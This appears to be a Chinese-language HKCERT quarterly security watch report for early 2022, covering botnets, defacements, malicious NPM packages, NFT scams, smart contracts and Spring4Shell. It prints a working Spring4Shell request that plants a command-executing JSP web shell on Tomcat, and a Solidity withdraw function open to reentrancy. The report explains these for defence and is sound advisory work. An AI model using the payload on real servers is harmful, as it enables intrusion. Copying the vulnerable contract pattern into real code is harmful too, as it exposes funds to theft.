本中心很高興為你帶來2022年第一季度的「香港保安觀察報告」。

香港網絡內的主要殭屍網絡

Avalanche	304	-25.7%
Conficker	244	-10.6%
Tinba	105	+23.5%
Virut	105	-13.9%
Nymaim	73	-62.6%
VPNFilter	54	-10%
Zeus	44	-8.3%
Bankpatch	38	+5.6%

*每個殭屍網絡的規模是根據在報告時間內每天嘗試連接到殭屍網絡的單一IP地址總數的最大值計算得出的。換而言之，由於不是所有殭屍電腦都一定在同一天開機，因此殭屍網絡的真實規模應該比偵測到的更大。

網頁塗改事件多因IT人員未有修補保安漏洞

 

網頁塗改事件總計有718宗，受保安漏洞影響的共估325宗。其他包括文件包含漏洞、伺服器入侵等。

 

新版OWASP Top 10網絡應用系統安全風險報告於2021年9月發佈，其中使用有漏洞或過時的組件亦於十大最見問題中排第六位。

另一種入侵方式是透過開發人員不小心下載及使用了包含惡意程式碼的組件。2022年3月，NPM套件庫被發現有達600個此類問題組件，利用偽冒名稱及混淆軟件套件管理器等方法誘騙開發人員安裝。

HKCERT 曾發佈【慎防惡意或有保安漏洞的第三方開源軟件】保安博錄，建議開發人員可建立保安和漏洞管理政策、整合保安軟件開發框架（SSDF）至軟件開發生命週期（SDLC）中、只從官方存儲庫下載第三方軟件等，詳情可點擊左方HKCERT網頁連結瀏覽。

社會近期熱論的「非同質化代幣」（NFT，Non-Fungible Token）可以解讀為㇐張擁有權證明書，代表閣下擁有某項資產。近期有多宗不同類型涉及NFT 的網絡保安事故，包括2021年12月NFT項目Monkey Kingdom及2022年2月NFT marketplace OpenSea的釣魚網站事件，以及2022年2月Nike與StockX的侵權訴訟。

 

NFT生態系統及三種常見網絡攻擊

來源：Understanding Security Issues in the NFT Ecosystem, November 2021, University of California, Santa Barbara (https://www.researchgate.net/profile/Dipanjan-Das-6/publication/356339205_Understanding_Security_Issues_in_the_NFT_Ecosystem/links/61e78b519a753545e2df265a/Understanding-Security-Issues-in-the-NFT-Ecosystem.pdf )

 

大部份涉及NFT的網絡攻擊都是圍繞用家及交易平台，主要可分為以下三類：

 

1. 網絡釣魚 騙取加密錢包恢復短語 黑客透過電郵、短訊或 Discord發送假網站連結，假網站版面與加密錢包一樣，要求加密錢包用戶輸入恢復短語，黑客獲得短語便可完全控制加密錢包內的資產。其他騙取恢復短語手法包括偽冒電腦技術人員訛稱提供協助。       假交易訊息轉走錢包資產 假NFT 平台會彈出交易訊息，要求用戶連接錢包及簽署以確認交易，但其實是讓黑客將資產轉移至其帳戶。	2. NFT 平台保安漏洞 NFT 平台的運作其實類似網購平台，由供應商開發及營運。現時網絡上有多個較受歡迎的NFT 平台，而漏洞通常是因在平台設計及開發階段時對保安缺乏足夠考慮所出現。此類保安漏洞亦是黑客的攻擊目標之一，例如黑客可上載含有惡意程式碼的作品，入侵缺乏雙重身分驗證的帳戶，或藉由保安設計的缺陷以低價購入NFT 轉售圖利。
	3. 假冒或侵權的作品 由於大部份的NFT 作品都是圖片，所以NFT 熱賣亦吸引抄襲者「偷圖」再於其他平台出售。此外，一些公司商標和名人頭像亦在未經當事人同意下，被製成NFT 出售。現時世界各地都未有法規監管NFT 買賣，而社會上一般認為NFT 只代表資產擁有權，對於版權屬誰則未有定論。NFT 擁有人的權利不清晰及追究困難，令購入假冒或侵權NFT 的事主蒙受精神及金錢上的損失。

如何安全地進行NFT 交易

 

• 切勿任意點擊來歷不明的電郵、短訊或社交媒體內的超連結或附件
• 使用瀏覽器書籤功能來儲存NFT平台網址
• 避免使用其他人發送的連結登入平台
• 啟用雙重或多重身份驗證功能
• 切勿向第三者透露錢包的恢復短語
• 設置臨時錢包，只儲存適量的加密幣作交易用
• 簽署任何合約前應小心核實所有資料，了解當中條款及潛在風險
• 檢視自己NFT的存取授權，撤銷過去有問題或不確定用途的授權
• 購買NFT前，應做足資料搜集，了解設計者的身分，並檢查NFT的介紹資料是否齊全（如其他用戶評論、過往交易、是否原創作品等）
  • 如平台有移除侵權的NFT機制，用戶可向支援人員查詢

---

HKCERT網站內可找到兩篇分別針對加密幣錢包及NFT保安的博錄，以供參考。

https://www.hkcert.org/tag?q=NFT

 

智能合約是將合約條文程式化並寫進區塊鏈中。有別於傳統合約，它無需第三方介入，當滿足合約條件時，程式便會自動執行合約，而且無法更改。過住有㇐些保安事故與智能合約有關，牽涉利用智能合約的程式設計漏洞。因此，不論是開發或使用智能合約時都要小心謹慎，以免程式執行結果與預期不同，同時要理解當中潛在的風險及相應的保安建議。

 

智能合約（Smart Contract）的概念源於1994由一位美國密碼學家兼電腦科學家Nick Szabo 提出，他提倡把合約數字化及程式化，意味著條款細則會以數字形式鑲嵌在特定區域中。可是，在區塊鏈出現前的社會迴響不大。

 

傳統合約與智能合約的差異

日常生活中，大家會時常接觸傳統合約，例如購買房屋時需要經過地產中介接洽、銀行財務審批，及律師服務等程序。傳統合約往往是以信任為基礎，牽涉第三方介入以作見證人，然後由簽署雙方各自履行合約上的義務，整個程序繁複和涉及額外費用。

 

智能合約的設計就是解決以上問題。除了可以省卻第三方的開支外，也能確保合約內容得以有效地執行。它是一項非以雙方信任為基礎的技術，而是建基於雙方協定的合約內容。由於智能合約被程式化後會寫進區塊鏈，而區塊鏈有著不能篡改的特性，加上智能合約設定的條件一被滿足，內容亦會即時自動執行，保障雙方利益及節省了時間成本。

 

智能合約具有下列特性：

來源: https://kustard.io/blog/are-smart-contracts-really-smart/

• 自動化：當條件符合便自動執行內容。
• 節省時間及成本低：減少第三方的介入，從而減少時間成本及第三方開支。
• 可靠：內容被寫進區塊鏈。因此，是以合約內容為基礎，而非雙方的信任。

 

mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    (bool success, ) = msg.sender.call.value(amountToWithdraw)(""); // At this point, the caller's code is executed, and can call withdrawBalance again
    require(success);
    userBalances[msg.sender] = 0;
}

2021年12月，Java生態系統中的 Log4J 出現一個嚴重漏洞Log4Shell，黑客可以入侵行遠端程式碼執行 (Remote Code Execution，RCE)。相隔三個月，另一個受歡迎的Java Framework - Spring Framework亦出現類似的漏洞，因此被命名為Spring4Shell，並賦予專屬的公共漏洞和暴露 (Common Vulnerabilities and Exposures，CVE)編號CVE-2022-22965，更於通用漏洞評分系統(Common Vulnerability Scoring System，CVSS) 獲9.8分(10分為最高)。

甚麼是Spring4Shell (CVE-2022-22965)?

與Log4Shell(CVE-2021-44228)有何分別

Log4Shell影響使用該受歡迎套件的所有系統，數量龐大，而且觸發漏洞的方式較簡單。

至於Spring4Shell漏洞，它則需要於特定伺服器設定下才能被觸發，而且需要一定編程技術及對多個不同伺服器組件有認識，所以影響規模未及Log4Shell事件嚴重。但因網上已發現有概念程式驗證碼，所以HKCERT評定為”高度風險”(https://www.hkcert.org/tc/security-bulletin/spring-framework-remote-code-execution-vulnerability_20220401 )。

受影響的伺服器

• JDK 9 或更高版本

• Spring 框架為5.3.0至5.3.17, 5.2.0至5.2.19版本，或更早期的版本

• Apache Tomcat 作為 Servlet 容器

  • 包裝為傳統的 WAR
  • 依賴 spring-webmvc 或 spring-webflux

Spring4Shell攻擊原理

該漏洞是由於Spring 的getCachedIntrospectionResults 方法接收到HTTP請求觸發Java物件的取存鏈，以存取Tomcat 中的 AccessLogValve 物件。Tomcat 會使用該物件進行日誌記錄。黑客可以透過HTTP請求來修改 Tomcat 內AccessLogvalve 物件的屬性，從而改變日誌的各個配置，例如可將惡意程式碼寫進日誌然後執行。

階段

1. 對受影響伺服器發出HTTP POST請求，內容包含以下Header及 Data來修改 Tomcat 日誌的 pattern, suffix, directory, prefix 以及 fileDataFormat配置

Header

“c1”: “Runtime”,
“c2”: “<%”,
“suffix”: “%>//”

Data

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. 上述請求會令 Spring 於WebApps/Root 資料夾內建立一個Tomcatwar.jsp案來執行任何黑客所發出的指令並顯示結果。

廣泛利用

在官方發佈修復程式前，Spring4Shell漏洞的驗證代碼已於GitHub上披露。儘管相關信息被迅速刪除，但它已在各種社交媒體平台上被轉載，這意味著可供黑客利用。微軟透露，在漏洞公佈後，它在其雲服務Azure發現有人利用Spring4Shell進行攻擊。截至2022年4月3日，另一家網絡保安公司也偵測到多達三萬七千次的相關攻擊。

處理方法

其中緩解方案

• 升級Apache Tomcat至 10.0.20, 9.0.62 或 8.5.78版本
• 使用 Java 8
• 使用 disallowFields 來阻擋處理特定字串

下載報告

< 請按此 下載香港保安觀察報告 >